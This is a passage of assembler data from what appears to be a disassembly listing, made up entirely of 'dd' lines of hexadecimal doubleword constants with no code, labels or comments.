		dd 49941093h, 91001FF4h, 0F60D5B80h, 76AB192Ch,	6F5800C0h
		dd 132870A8h, 9A00CC49h, 77253230h, 78B1184h, 0A3CFD3BFh
		dd 28E61006h, 750796B7h, 0C9CC4BB1h, 0B00848D0h, 400E1E50h
		dd 411E9CA8h, 57A05DE2h, 0F881DC25h, 0C092AC00h, 22D2FE87h
		dd 1B90080h, 3F839E88h,	5E00C5B2h, 1DF6D171h, 1AEB5Dh
		dd 28926AD5h, 58B295B5h, 648E6706h, 0EB0C77Ch, 131A39FEh
		dd 0AAC9005Ch, 63F1452Bh, 0F48EA100h, 69FB2E11h, 90CB0718h
		dd 53B4B06Bh, 0F7F09C3Dh, 5F1889A5h, 98118CCDh,	0EF990837h
		dd 0A40F9363h, 60ACCFB4h, 1EC30B2Fh, 31120C7Fh,	1F209290h
		dd 0F506B700h, 0ECD7A90Dh, 6FB41F7Ah, 0A12E8399h, 0A0F36096h
		dd 2898881Eh, 0B6DB7980h, 6753BBh, 0E7D9F12Ch, 0F3D89E60h
		dd 16E9DA00h, 40943DF7h, 17AF7FF0h, 7044FB8h, 40813FCFh
		dd 9B42F244h, 4DC20F07h, 40EEABA6h, 171953E9h, 0FFB70045h
		dd 387971BEh, 0DE0044F4h, 559463F5h, 0CB9E519h,	0B7E72ADDh
		dd 0B007EF19h, 6C3B0154h, 0ED5F00C9h, 587381C5h, 0F0CABABh
		dd 69542F9Ah, 11CF6700h, 6B50D58h, 0CE641866h, 1DE42029h
		dd 9AAD300h, 27C74C65h,	9FA200B2h, 0EEDB561Ah, 47005025h
		dd 0CC3EE629h, 0F69BF5h, 0B144BABh, 0A37F10D4h,	3D0225ECh
		dd 0C3FDDB1Bh, 0BA0240F8h, 37865876h, 0C07F9440h, 1EF7A848h
		dd 0D1006F21h, 5C60EA2h, 0A0A786E6h, 31DE1B8h, 4EF8EEE2h
		dd 0B0D7E008h, 8896B4D4h, 93CB0300h, 8BB20E17h,	0F659002Dh
		dd 587642CCh, 0A500D2DFh, 12D9C31Dh, 0DCF540h, 36F2C04Ch
		dd 0E5883B57h, 0FB556500h, 0C300F4Fh, 0F1EB09E4h, 1420AB58h
		dd 85C7FAAEh, 1D1FE0Eh,	59FD4028h, 1F085B74h, 809AA231h
		dd 0C2EBB83Bh, 10926573h, 0F663A1Ch, 0C6FDBB80h, 69932Fh
		dd 7132A255h, 6A8B91D5h, 5C073079h, 48A73957h, 6CD0F927h
		dd 0F280FFE8h, 5618C050h, 47A24C6Ah, 37DBEE02h,	402F259Fh
		dd 64AE80h, 7403D761h, 80E41B34h, 93C12E01h, 3E6CE51Ah
		dd 1FA27C24h, 4008AE85h, 0ACAD875h, 880723EAh, 28356A1Eh
		dd 13649900h, 0ABF50397h, 0F4EA9FB2h, 5CA22FA8h, 32311600h
		dd 15754C9h, 83F90090h,	0D5147330h, 0DF742D13h,	558F5B00h
		dd 0A2BBC0E3h, 4E7618h,	0A738D2A3h, 0B3DFAC9Bh,	11A62B00h
		dd 3EC3509Dh, 6E3F00B9h, 5675617Ah, 0ED5CA2F9h,	5EA100E8h
		dd 0D3C8F7EEh, 274A00F5h, 0FEF1FD94h, 50000D1Dh, 0C7C1DD92h
		dd 60912506h, 1C8CC83Eh, 713C5CADh, 1EEA140Eh, 63DB0E9Ch
		dd 0B3C9A0C8h, 8130CEh,	97DAB062h, 0F148232Bh, 3DA3B600h
		dd 26E902CBh, 6A5C1D60h, 61248071h, 0F46BCA7h, 34C2CE24h
		dd 0FC13DB00h, 149A327h, 94E3BB90h, 0D0E04262h,	0A0394178h
		dd 47190029h, 0ED9E0173h, 0E6A500DBh, 0BF39A3ECh, 59072A0Bh
		dd 19608F13h, 0F306D211h, 0FAD45821h, 39CBF075h, 0BE807647h
		dd 52A7E7E6h, 1B00F753h, 14D0E833h, 0D8062h, 9682860Bh
		dd 49B51AFEh, 0BBFFB800h, 687B4204h, 0E6BA000Ah, 5C34873h
		dd 0BD00717Ah, 61939095h, 3808E49Fh, 0F8731714h, 105B0032h
		dd 0FA72F0C4h, 3A00A812h, 1E7D0E31h, 0B014C52Bh, 0E3BF0054h
		dd 13F7E5D4h, 303BEBAh,	0B89C9B9h, 8FA188A0h, 0CCF1044Dh
		dd 0C0D35723h, 6BE7B0EBh, 8C9C0400h, 2246CA75h,	0E3E900B8h
		dd 38E0FFBBh, 7100480Fh, 0A53056A2h, 9827F9D6h,	71E1FE93h
		dd 0AAB00087h, 8EB99673h
		dd 5F007E0Dh, 3B320E93h, 0A55044h, 0C50C1887h, 0D1FA71A7h
		dd 792C1500h, 9A2E1A0Eh, 75BE3794h, 4A91F0A2h, 0EC00AC41h
		dd 0C6E107B0h, 0DA938Eh, 0CB1DF5F4h, 196CCCFBh,	6F0083FAh
		dd 1BE84947h, 2D456B86h, 6F58F13Ch, 0D433507h, 8B7063FDh
		dd 0E71083h, 2A051FC1h,	0A98C9FD8h, 81965800h, 1E8A3F98h
		dd 0AC0F4EC7h, 623F74h,	3AD23504h, 1D050E3Eh, 215A198h
		dd 347DBB31h, 86E5AA60h, 0C003698h, 9CF86CA6h, 0FBBC1C3h
		dd 7AAD7F2Eh, 0F6DF2840h, 66FA56FCh, 6120BB0h, 0A00D4C4h
		dd 3F47F286h, 0E5FF4C84h, 6B9CAA00h, 1D8FFA51h,	0FC5F8D00h
		dd 0B5C77A8h, 0B88206F6h, 78CE6893h, 68F095h, 6E8EC4BFh
		dd 39EEF1B3h, 6199071Eh, 0E0F887C0h, 1FB452h, 0E82AFBA4h
		dd 5A4ECFB7h, 721BD20Fh, 6A9A43DAh, 4F2C062h, 0C37800B2h
		dd 0FBE9311h, 0FA00BC5Ah, 61BAFE19h, 0F902ADh, 91840E29h
		dd 0F8E1D4B2h, 9E509400h, 2B4B2C06h, 0A4460075h, 606ECC1Eh
		dd 720085A5h, 0C5FBD302h, 0EE8A80h, 0A345E4E8h,	9ABD7997h
		dd 183C43Ah, 7F07026Bh,	19F40A11h, 90B41F82h, 0C478018h
		dd 6AE225AFh, 775CE800h, 3C1D5FADh, 8A302D8h, 40F78385h
		dd 2C74C480h, 952E6EFEh, 8B008A72h, 2FB0E39Ah, 63E41F73h
		dd 6AE90096h, 29BAB88Eh, 25B2E500h, 4DCACD4Fh, 0B5C20044h
		dd 0F8CB6740h, 9600EBA7h, 1DAC4C7Dh, 5C38BA94h,	300382Ah
		dd 0ABE2CEEh, 740495B0h, 0DC11662Eh, 0E8C9A781h, 35301180h
		dd 3C417526h, 56A00D27h, 3CAD12EBh, 1CB07D14h, 786123Eh
		dd 5DD9F208h, 0A4F9AB40h, 339128E6h, 883973FCh,	0A0F6F4CAh
		dd 64B32801h, 973C545h,	0AB2A20h, 1F5831F8h, 28BE2AC6h
		dd 66D60E00h, 7890A952h, 4DEC003Fh, 0B4542446h,	0CE07A17Dh
		dd 0E455511Ah, 1D6120B0h, 25DF00A4h, 37E5D8FCh,	0C33D8FB5h
		dd 2EA5809Eh, 85B48D58h, 28E4E675h, 0EF807BCh, 5CDA633h
		dd 0B041A583h, 86E039EAh, 870295DEh, 752CF6DBh,	0B004844h
		dd 83650005h, 584C47F1h, 9C0E07C1h, 0CF9ADD33h,	0CAE16037h
		dd 0E38B46Ah, 3B095C13h, 6662C740h, 0EE042316h,	5D56EC02h
		dd 0E4C51880h, 0E17FE41h, 4361FDEAh, 1B590580h,	1DEEFFFCh
		dd 44FE1F06h, 120E462h,	20AEAC1Ch, 0DC97250Dh, 0D900130Fh
		dd 0BE580A04h, 112174h,	0F3618E92h, 430CA096h, 0E08BAA00h
		dd 2834D0C4h, 905839F9h, 750216h, 0E2B80BF5h, 88007935h
		dd 255FBAD7h, 74F4EE7h,	98105E55h, 84AAB440h, 66EC0Ch
		dd 0CA25597Bh, 733BB47h, 0C397B7FEh, 77CFD0FCh,	73073B67h
		dd 0F4E6DBB8h, 3F61B410h, 0F6B2384Fh, 398FD500h, 0F3A70475h
		dd 5A7B6E00h, 0A208476Dh, 0D7650017h, 6FD53ED9h, 0DC03AE27h
		dd 2882D02Eh, 2211051Ah, 0C08E014Dh, 0B8EA4B03h, 0DECF1D00h
		dd 0D582B512h, 7A183CBFh, 0B4A36101h, 0D023CD7Ch, 9D007D99h
		dd 40AAD119h, 0E0C135h,	0A4E5C9F3h, 0D52475F4h,	0EA893300h
		dd 1C407865h, 9F8E03BBh, 9DF357E6h, 41E5DEF0h, 0C3580D00h
		dd 783A5DB4h, 8168381Fh, 59771Ch, 69E7F17Ah, 0E40052C9h
		dd 0F542DAD9h, 24F22950h, 764717h, 0B566FB4Ch, 0B700733Ch
		dd 0C986E44Fh, 0C1DAF4C0h, 0D15EC760h, 0AACC342Dh, 8073D207h
		dd 2C4103D8h, 18BC42ACh, 5410FB31h, 0C0A313C1h,	605DA75Fh
		dd 0E3891E7Bh, 19033E39h, 6FD31726h, 6096A0h, 0B44D8886h
		dd 0D2D89DAh, 59603CFEh, 49026471h, 0CE350FA1h,	801ECF97h
		dd 2FD8E058h, 3D02F1BFh, 0A14B1713h, 8E588E39h,	4E0190E9h
		dd 0C50B132Dh, 6312D05Dh, 9C3A6D2Ah, 9CB8D600h,	0FB22C777h
		dd 164A0051h, 0EE13BD0h, 0E6FEC917h, 342B1C00h,	0AEA1C599h
		dd 416900D7h, 33165329h, 48719C2Ah, 3CBD8601h, 92B64BFFh
		dd 0A1A2E4h, 0D5A6A71Eh, 2D4DB4F2h, 0FC2BB93Fh,	0A4165F1Fh
		dd 0E4415302h, 855480EFh, 7EBFF4D6h, 0D3130C4Bh, 0C308ED64h
		dd 0FEAA21C0h, 0C501F4h, 7BB2BDBAh, 23595CD5h, 0E507960h
		dd 0DA7691ACh, 0E081A668h, 0E6DB277Dh, 11EE1444h, 0B603297Fh
		dd 4E2D884Ah, 0A608281Ah, 754100B4h, 0B8472949h, 0A20A8613h
		dd 0FC57DB6Ah, 0C3880B40h, 0C5DF631h, 0D13ED449h, 8106C739h
		dd 20EFFFE4h, 82470011h, 78860C6Eh, 5D33334Dh, 0E0908A8h
		dd 6E7A1921h, 0C02E1B00h, 72FC437Fh, 0C1B9891Ah, 0F3468058h
		dd 9F2B24h, 0CFD0D2D8h,	0AC4AC727h, 61912E60h, 48A7E012h
		dd 0E81CEDD8h, 1508F3C0h, 0EAEC2100h, 6213EEE0h, 681D01CDh
		dd 0B88A0C97h, 92B98121h, 93447D7Bh, 1FE4B560h,	98707343h
		dd 2972D012h, 90C2C6B8h, 0C0A62488h, 1C8E9469h,	404E8C79h
		dd 0EEB252A8h, 48000CD1h, 0E2924945h, 0B0988026h, 7E120F15h
		dd 7A20655Ch, 863D225Dh, 552C8E00h, 8DDDC960h, 5FB00FCh
		dd 0EE70EFC5h, 0B80041BBh, 6366A531h, 6DBD5h, 0B1D88990h
		dd 71F07656h, 0EE1C7000h, 74CE75D9h, 0CBB93F5Ah, 0B62203F5h
		dd 0ABEC6561h, 0E7041143h, 0F601ED3h, 0F72E010h, 3D87C2CFh
		dd 112C829Eh, 122D2CE0h, 0C1893Fh, 42F188EBh, 0E3FDC68h
		dd 4E9683E7h, 52E38BA0h, 0BE00829Eh, 3E6C91B4h,	0F486BDAh
		dd 0EDD9BC35h, 866FC7C0h, 0B100EA25h, 27E2F1CCh, 0B27CC3h
		dd 898735E9h, 1E03B563h, 32FEBB02h, 0C1A32719h,	1E0A27Ch
		dd 0AD200716h, 0E9810Bh, 0B735868Bh, 0D9BBAC1Eh, 1D4DC380h
		dd 782BD531h, 7CCD78DAh, 0A7FC39h, 9201DD8Eh, 7D714C43h
		dd 3A005A73h, 6963B617h, 0E59979h, 0F247DB57h, 38D16468h
		dd 4C350D07h, 0E3DE9A1Dh, 0E87081D2h, 962DECh, 4173DAA9h
		dd 452E9277h, 3DFFEB0Ch, 7CC4283Bh, 0F0ED005Ah,	0E90DCC5Eh
		dd 201D1D27h, 0B1C04744h, 612AEB95h, 0CAE42A78h, 8D5000C4h
		dd 4CA4119Fh, 99EEB27Bh, 0E914C100h, 2098BB2Dh,	60897A1Ch
		dd 31121037h, 0F6441DAFh, 0D30C004Eh, 0CA098675h, 3E15EBF1h
		dd 0F0AAE1h, 0C0A8C716h, 1278777Bh, 0DB564Ch, 9E88694Bh
		dd 360B7493h, 776BD23Fh, 12899C01h, 5671C8C2h, 0A6E9E801h
		dd 672C6694h, 0E9E6230h, 0F51E9DC0h, 88C270A0h,	0BD004FECh
		dd 4769F32Bh, 679CF6h, 6BDB310Ah, 13D7CB3Fh, 684B7E00h
		dd 36ABAE5Eh, 0B27417h,	0EDD24899h, 150EB9D9h, 0DA01FF0Fh
		dd 1C0A406Ah, 284E3EA7h, 0F88CE8Fh, 3542C8F4h, 0A0B923C7h
		dd 0E256E6FDh, 0F9ED406h, 711F310h, 540AF279h, 9430B029h
		dd 2501FF6Ah, 5371522Dh, 61F4B6A3h, 0F9B9043Ah,	8072F111h
		dd 6DC825Fh, 0BFE7403Bh, 0F8C600B4h, 24D7EBD4h,	3620C197h
		dd 0D958E14Bh, 6E5E0F7h, 0D2FA6A04h, 410095B3h,	0DA62FC78h
		dd 492CEF00h, 9E3E6DA9h, 64210039h, 24AEEACh, 470EBCCAh
		dd 0DE569A6Bh, 35DF003Fh, 0DD75A9DBh, 504F00F8h, 0FE03D97Eh
		dd 0E4A01645h, 0BA889B5Dh, 0F2401547h, 0C00D895h, 16266A34h
		dd 0DE000235h, 32BDB793h, 4C4A99h, 0C74043BEh, 4EDD95FEh
		dd 46676C00h, 25A23ACFh, 3660042h, 1727E4B3h, 0FA00ECB9h
		dd 57F6567Eh, 0E568D6h,	724DD311h, 0EE3ABE1Ch, 0E3183400h
		dd 0AB4E9D3Eh, 0C40D002Eh, 0A084C691h, 8D50F007h, 880094C6h
		dd 77B5CC7Fh, 0CF2E5Eh,	8B626EE2h, 54FDF846h, 191CBA1Ch
		dd 59FA2440h, 9ED27Bh, 1B033116h, 3F6810F4h, 82324E1Ch
		dd 3C0117C0h, 0F884A2h,	698B3983h, 0E1259F09h, 0AF607667h
		dd 0AFE1BD0h, 0F78A00EEh, 23085155h, 0D775B861h, 3A5A700Ah
		dd 0A21E3CFCh, 1A8BA340h
		dd 1E868AB2h, 9CBF51h, 3895395Dh, 0AF1E18ECh, 6F809881h
		dd 5FA9108Eh, 4D29004Fh, 21861D55h, 0E300A2DDh,	640BBB33h
		dd 0E4BD4993h, 7A5200C8h, 1A7B6323h, 0F201B814h, 64E9E647h
		dd 9C4BFAFh, 564307DFh,	71949DAEh, 0D85AC8C5h, 0BD00FFA8h
		dd 0DC23C3A4h, 0BE9B54h, 25897321h, 6FBA79CCh, 0AB062671h
		dd 5FADDE6Dh, 0ECBD1FF8h, 0C325007Ch, 18DCC6A4h, 9DD93Ah
		dd 0ED650791h, 762331Ah, 404A7D85h, 3E873025h, 71E6DA5h
		dd 38809CE8h, 960C6F82h, 884700EFh, 0B93D79F7h,	3B00F8F1h
		dd 8E748D8Fh, 289B0C1Dh, 9C8971h, 54048120h, 0AEFA7DFBh
		dd 9D053800h, 48A31522h, 35D81C43h, 63CC40E0h, 3BB3969Fh
		dd 41F28A30h, 2C19AA3h,	395933D6h, 1440F657h, 0C300FC45h
		dd 0BE31888Fh, 520F67h,	90713258h, 811A7ABDh, 41E0C401h
		dd 0E5D9B8E9h, 7A6093E5h, 0BB0E0076h, 1704327Fh, 0E400CE2Dh
		dd 0A5E1E9B0h, 58A17D51h, 45009882h, 4AA36C75h,	8A00028Dh
		dd 571BA7E3h, 853978h, 5BD90DECh, 4CBDA086h, 0B821611Ch
		dd 0EDB95105h, 0B5220DC0h, 0B17F6085h, 0A518FCE9h, 0CE3E301Eh
		dd 8438DAB0h, 8A5038BDh, 95A11980h, 20D15921h, 177B33Eh
		dd 830F60EDh, 0B9C028B2h, 0EF4F00DBh, 187BE313h, 0B626EB69h
		dd 970A83C9h, 0D500BEE7h, 0F88C7F58h, 0CE0A00E1h, 6914952Bh
		dd 0A200E268h, 0BB25C478h, 0C6C902h, 0A9D5D8F7h, 0CD3C30F6h
		dd 4EA18E00h, 6661483Ah, 0C80E5C47h, 4C96A40Bh,	2E498480h
		dd 36003EE2h, 6E938A9Ah, 1F8B55Ah, 0D4C78677h, 0F04E2EA0h
		dd 2C0022A6h, 0EF2D9DECh, 5DF2AC0h, 64F55CB7h, 6CA4C240h
		dd 0BE59FC60h, 5F00A670h, 0E6760B72h, 7EF6FDh, 179871FAh
		dd 0AE16B4ADh, 0F5E17F00h, 2A254113h, 979E0006h, 7114C36h
		dd 0B13D78B9h, 3AEB0A32h, 2C02CC94h, 0AED35689h, 9FF820F0h
		dd 0B52B74h, 1C37CFC3h,	20E56B7Bh, 0EB3E6AFEh, 230674DAh
		dd 0A516E370h, 7EBF00F0h, 3DCC89B8h, 8B00B275h,	0DC7B7D8Eh
		dd 344626h, 2E96CEE5h, 0DA9EC099h, 0B0CAB100h, 47D4BA87h
		dd 0D08E0079h, 0C5E249F4h, 6A002876h, 0B099EE2Eh, 7E2354BBh
		dd 42CB00D6h, 775CAF0Ah, 0A7E092ABh, 0B5399700h, 0A9EDCCB0h
		dd 90589A26h, 3F7F016Ah, 0D61A46ABh, 9877C4F7h,	886EBF00h
		dd 581B164Dh, 7C4B009Bh, 34C273D1h, 4100A6FCh, 182C8E6Eh
		dd 0BC55F9h, 4CC44960h,	0CF1FD938h, 0AE2B2613h,	0BD1A0100h
		dd 20C0A5Bh, 0DF3C477Ah, 0C868C2EAh, 321EFD51h,	1703AF2Fh
		dd 98F4909Ah, 3E4123A6h, 11A865B7h, 7DAD0010h, 0A262F4C2h
		dd 1DB0EE23h, 0D10C5274h, 0D11C01A8h, 3E901D0h,	6B126342h
		dd 0E7088047h, 28660939h, 0A8F0FD1Eh, 0EA18A902h, 0F87B48E8h
		dd 0C27486h, 0F6555232h, 279EA242h, 3AD94000h, 0F079365Ch
		dd 0D84E0750h, 238106B2h, 0B003E889h, 1CFEEE7Fh, 0BCD918BBh
		dd 32F4611Bh, 0D023A318h, 10EE55B0h, 0C8FCA8CCh, 0B10ECh
		dd 8DCF65A7h, 0EBE4A9h,	0D462162Dh, 8B02B640h, 64526D01h
		dd 7371B7D1h, 0DAC6D080h, 1DD38E59h, 75006978h,	10704120h
		dd 38ABCEh, 0E2874425h,	32DC62EAh, 66908C00h, 9257B7E3h
		dd 8B7DBCh, 145536E7h, 0D7796B96h, 0BF294628h, 0F63A2607h
		dd 3501EB3Fh, 69E01DF7h, 0E6AB0006h, 0A3E91CB3h, 5E01D5EEh
		dd 0D3DFF5FAh, 16F9C9B4h, 0E6210F8h, 885140C2h,	6BFDE560h
		dd 7C000164h, 0C0424B21h, 0E1ADD15h, 5D388907h,	0CA42D60h
		dd 7603C7C1h, 34E52368h, 99F3A0F8h, 71DFA40h, 0B9CC33BDh
		dd 88A7E44Dh, 9B000860h, 18561FC8h, 0E7F3Fh, 36867EDh
		dd 0DD9DEE73h, 0BC9A4915h, 141E00CCh, 0D9EA01A6h, 0D6EF1BDFh
		dd 0D7C7185Ah, 0F6964311h, 185FAFF8h, 1D8A5D0Eh, 2FABE007h
		dd 760C520Dh, 0EDDF0082h, 1E9CFAA8h, 67013530h,	0D693888Ah
		dd 6880AF2Ah, 9C55C1C8h, 4B0C6537h, 81F68249h, 1EF0EA58h
		dd 0C19E5D22h, 9C83008h, 196CF08Bh, 0CE39F926h,	2BDDAF04h
		dd 0BFAE4883h, 81164C80h, 798A0076h, 0A998B36Ch, 9D00593Ch
		dd 291E4FD1h, 46EBDCh, 1AA77518h, 73EC26F3h, 8364FB03h
		dd 0A03142B1h, 26D6093Ch, 0A4A033Fh, 0ECBA16Fh,	0DE86A017h
		dd 0F7002084h, 0D71403C6h, 3E7ED2h, 0AE4E564Dh,	0EF183208h
		dd 0E6833500h, 0C6983AF5h, 0CCA5064Bh, 60360946h, 5E0027FAh
		dd 80380C47h, 0C0BCFD6h, 43E46CDh, 0BA1E3381h, 6DEB697h
		dd 0FE6A8B06h, 0C060B0A8h, 0AB593620h, 44005587h, 0D24D4AFFh
		dd 0F2B9C4h, 8CE61753h,	88083D75h, 709E5A02h, 40FD7C38h
		dd 7151ABh, 0A0EF4743h,	561DBAB2h, 0C87C70E3h, 9429F800h
		dd 68F04EADh, 0F7DA1FD5h, 1AC0801Bh, 24399BCFh,	9907807Ah
		dd 2F48F108h, 42C35257h, 1EF3F08Dh, 85CD00A2h, 0C3C140F5h
		dd 86061ACBh, 0CE3C7656h, 6A411B18h, 0C0C7206Bh, 51B04B4h
		dd 1F3E591Fh, 0FACA047Eh, 8500F6C6h, 0B251EB72h, 6B3D1E00h
		dd 0FF84A056h, 7AF34404h, 4549BE02h, 60FB6434h,	0DEE1A89Bh
		dd 0CE160081h, 7F9D7ED8h, 0E7E5F400h, 6BDAD473h, 0A64C1B9Ah
		dd 0E0C0897Ah, 74000DE2h, 491357A5h, 1D8BFDDh, 3E78F4EBh
		dd 8F3F4A8Ah, 0E1B8F76Eh, 0BB09C135h, 60A17F30h, 2EDB71E0h
		dd 5B00226Bh, 6747958Bh, 0CF99ADh, 40286A5Dh, 7053FD76h
		dd 0FFF96100h, 846FE334h, 0CF3B034Ch, 18C10471h, 181DD9E3h
		dd 290FA272h, 1EFEA0B9h, 0C47934Dh, 2F5A5957h, 4A16D430h
		dd 0A7019A07h, 0FE950506h, 2C318982h, 90803A17h, 9ABD1CC1h
		dd 0F6000DE6h, 0FFB76890h, 9B63C6h, 0D1F50622h,	89A93916h
		dd 3C577900h, 0BB6C0E6Fh, 4DB0002Bh, 0B9E4662Ch, 0E6007359h
		dd 92475235h, 31608C2h,	99883EAAh, 0C0A0BAEFh, 0B00D34Ch
		dd 0FDBB3827h, 1F4486B2h, 40805EFBh, 0A085714Dh, 0C70018E8h
		dd 86550549h, 46AF28h, 586E84F7h, 7454FE7Bh, 0CDB98504h
		dd 3C04571h, 3A4E04Ch, 0FD89439Ch, 0C08877AEh, 0D100E6C7h
		dd 0AB4B8029h, 8BFC37h,	7A43FEB3h, 83CA408Ah, 19280100h
		dd 93C5F65Eh, 0A0ED0013h, 1DD5394Fh, 0B00DE48h,	0D22F7EA4h
		dd 95F49Ah, 7D5425E7h, 84CC42EBh, 0F04739h, 0B253BE04h
		dd 2CC08629h, 0C01572h,	6A2E128h, 0BF001890h, 464D0103h
		dd 9555E8h, 836E76D1h, 0F7317CEh, 0B079961Dh, 0B1BD9B80h
		dd 352B4Ah, 9825EC82h, 37564260h, 0B0530E28h, 6B07CF00h
		dd 7E1A4A85h, 7A512A41h, 780485BCh, 54606889h, 87E88D10h
		dd 595F00FFh, 275D5ABDh, 4900BBA2h, 0FE89E446h,	1964B8EDh
		dd 298523AFh, 443908C9h, 2284EA5Ch, 95426B7Ch, 2163E411h
		dd 225F1DE6h, 225B0122h, 9242608Dh, 0AD69447Ah,	661C28A0h
		dd 0C008AE89h, 0DD617C45h, 1447298Eh, 0D09A1150h, 0F97ABA08h
		dd 889E4510h, 5608685Ah, 84CA90ECh, 0CE44B471h,	3C024A58h
		dd 2917860Ch, 4A51C05Dh, 0E158EBA8h, 7000B3E8h,	76051E7Ah
		dd 18E82580h, 20A67FFBh, 1A3DCEE4h, 0C3E78018h,	0F89C2ECh
		dd 422839BBh, 80C8D11Dh, 37FF52F4h, 3400D8CCh, 0C0C3ECA0h
		dd 6BAA47h, 2E997CABh, 0B6910488h, 76ACF03h, 889FD27Dh
		dd 29FEA6h, 44B1EB73h, 471A2771h, 1C3DB20Fh, 0C75446E6h
		dd 8E831C30h, 65BF47CAh, 0BD27BFD2h, 0DFA8106Eh, 0CB0E69AFh
		dd 803A38DAh, 0C02D93E1h, 519F1F5Dh, 64B0400Dh,	2E0B067Ah
		dd 0BCC5FC00h, 391B8231h, 0B52F008Ah, 4C47E104h, 0C1010EDAh
		dd 0E97A26BAh, 0B1F4AAACh
		dd 3D7B0462h, 80E7F438h, 21081F4Ch, 0B4726400h,	29AD792Bh
		dd 56A700C2h, 583A0704h, 0E00014B3h, 0BC89F6A6h, 119A5Fh
		dd 0E46765A0h, 5D5F538h, 0AB3CF000h, 0E288D3E7h, 6E131EB0h
		dd 21C94E76h, 97C07AEFh, 35FD2D6Ah, 2F39BC00h, 6CB2CC4Eh
		dd 0E1BD0099h, 482A1AB7h, 83005C42h, 9E44F0EFh,	0C9185h
		dd 0B6BF4125h, 71C640E4h, 0CE3D790Ch, 11C18Dh, 0A4B29325h
		dd 0DC62153Ah, 3C023002h, 0C0CFE9C9h, 0FC1EC6h,	86032668h
		dd 1891DA41h, 0A7E43600h, 8D59745Fh, 0A24900A8h, 12C9290Dh
		dd 0FCEF41C0h, 1600E60Bh, 672D6D55h, 9BD26Eh, 623C97A8h
		dd 1937D0FAh, 10DE1106h, 1E100AC9h, 80DD3D14h, 0AA4AC79Dh
		dd 4F007722h, 0F64BF75Ah, 377306h, 9C721751h, 0B538BA35h
		dd 0ED412200h, 0F93230A3h, 0BE2730E1h, 7E45CA8h, 69469100h
		dd 8834D0C7h, 51AB003Ah, 98AC2F05h, 18008E1Ch, 8D36B6E3h
		dd 0F7C8BF9h, 6A5363DEh, 607750C0h, 7F0915C9h, 83E39FF5h
		dd 0B0348B44h, 3CDB89B4h, 4A00D8CDh, 0E2DE8299h, 9A1CB3CEh
		dd 17D8312h, 0BE2E0D64h, 46C8D910h, 452100D7h, 38C0D1A6h
		dd 0A8F8AD6Fh, 4EF87209h, 99040009h, 5EA7D4Fh, 0B7B2ECF3h
		dd 0F999C0D2h, 0B8000910h, 0B944BA85h, 1A3632h,	12F62CD7h
		dd 4D0E6B1Bh, 0FFC3F100h, 88C260FAh, 0A7E814F3h, 5E00B558h
		dd 92EEB64Bh, 0AC0069B5h, 33633DB7h, 9E08E1h, 0EAD3B191h
		dd 2DAAFB75h, 5B0056FCh, 9C502F19h, 0C0028654h,	66BB5C18h
		dd 4D07D027h, 0B1136178h, 9B335D40h, 5C440009h,	20A09DC8h
		dd 0FF50BEEFh, 0C9F273C4h, 3D7AF800h, 0CC4C7243h, 594046Bh
		dd 916297A9h, 0C0AE940h, 63B80133h, 37CF6057h, 0EA7007ADh
		dd 0A57F12h, 0AE8B5914h, 0C2E8361Eh, 0E000A8EAh, 0B638B11Dh
		dd 1D20A27Eh, 815E61BEh, 42C8E71Ch, 0E102D47Dh,	0D8F1F200h
		dd 59C36F0Fh, 93F0781h,	4CCAC1h, 84EEA5DFh, 956E2F1Ch
		dd 27BCF343h, 8CA3A0DBh, 0E29700B3h, 0B0E0DE6Ch, 7589682h
		dd 6490048h, 4C1CCC09h,	0E46477AEh, 29200E3h, 4EFA7379h
		dd 0CF00FC7Ch, 90CEDA55h, 0A1AEDCh, 0D8763C1Ah,	30A9707Dh
		dd 0C4165200h, 21FED5FAh, 0FDC73F8Ch, 0B1CC6EBEh, 0A055C600h
		dd 8D8E3EABh, 0BB1F201h, 0C81B24A6h, 5E8430h, 27477F6Bh
		dd 2E5A0659h, 700FB977h, 8046813Ch, 0BD0E9F3Dh,	0FE7B36h
		dd 0A8FCD38h, 0B180A888h, 64B9820Eh, 0AD51E030h, 60E9480Fh
		dd 0DAC458CEh, 0FC3ABE28h, 1C4D030Ch, 9E973505h, 2AE600A8h
		dd 0F44A0756h, 0AC00FB8Bh, 4184975h, 1E6FCF3Eh,	40CEB15Eh
		dd 9B781369h, 94007F95h, 761463Bh, 3B6E9128h, 8400759Fh
		dd 435F97B8h, 0C4E4E876h, 6FDB2603h, 96B2529Eh,	6D170510h
		dd 80A6B110h, 0A4578F19h, 772D3701h, 0F0906955h, 420CF30h
		dd 0BF34DCF6h, 0BD01EF0Eh, 1A9FDF93h, 5A51F4h, 0F1068960h
		dd 163F7347h, 6800A87Dh, 510BAF32h, 1282FEh, 72781880h
		dd 0CBBADE7Bh, 3A25F40Bh, 60190EFAh, 0C5138266h, 263007Ah
		dd 9BB91984h, 90003147h, 0CE4B65C9h, 108FE5h, 5689957h
		dd 35DC1C73h, 4474AB00h, 3A26754Bh, 0DC40F2Eh, 1C61033Dh
		dd 0C8027BE3h, 0DA00A383h, 572E705Fh, 460C38h, 0F8766722h
		dd 0A2CDC290h, 0AA1C13EAh, 260088F4h, 0CC6F37F7h, 28A9001Dh
		dd 0FFC91B99h, 3F3F2B69h, 497080D2h, 7B6C9690h,	36AA001Dh
		dd 2208B07Ah, 27001AB1h, 949EEC3Fh, 564F5Fh, 637C8943h
		dd 0F3FE227Eh, 0A97B420Fh, 2C90A0E3h, 0F20C231Bh, 94E4FD19h
		dd 71C9006Dh, 0F0596866h, 60FA5593h, 0DEA8DF00h, 7B8784F4h
		dd 41CD1ED8h, 0EF2A8047h, 2DFE5931h, 3B17DA00h,	0A2344C95h
		dd 26BB00CAh, 2263AD15h, 0A50035E8h, 5E0D87Fh, 9A7C9Eh
		dd 0AB1A8CF0h, 78154438h, 2A4BA701h, 1D45C016h,	2693D720h
		dd 532782h, 35CFE4BEh, 1800F112h, 53D970A0h, 588ECEE1h
		dd 6900477Eh, 2341A805h, 0B400F89Fh, 0B8F7538Ch, 0A9DD3F2h
		dd 0E3F6847Dh, 0E99100E0h, 455C8041h, 0F382FB06h, 1891CBDh
		dd 61B81BFFh, 0F085698Bh, 0C378394Bh, 55D79100h, 0FEAED194h
		dd 6825300Fh, 50A05E21h, 4C28543Dh, 0AAC71E4Bh,	19AD1A83h
		dd 0FEAF888Eh, 699602E8h, 0D45F0B91h, 55DFFA80h, 1D002A0Dh
		dd 0B5720C30h, 0D30589h, 645E3522h, 0A0DD42F1h,	0F125500h
		dd 8CFCE2DBh, 3BDF00C5h, 2421D3A7h, 0ACEA7090h,	29BC490Eh
		dd 57DD695Ah, 0C4F47480h, 0BCA0F304h, 0E603F870h, 2A0220D6h
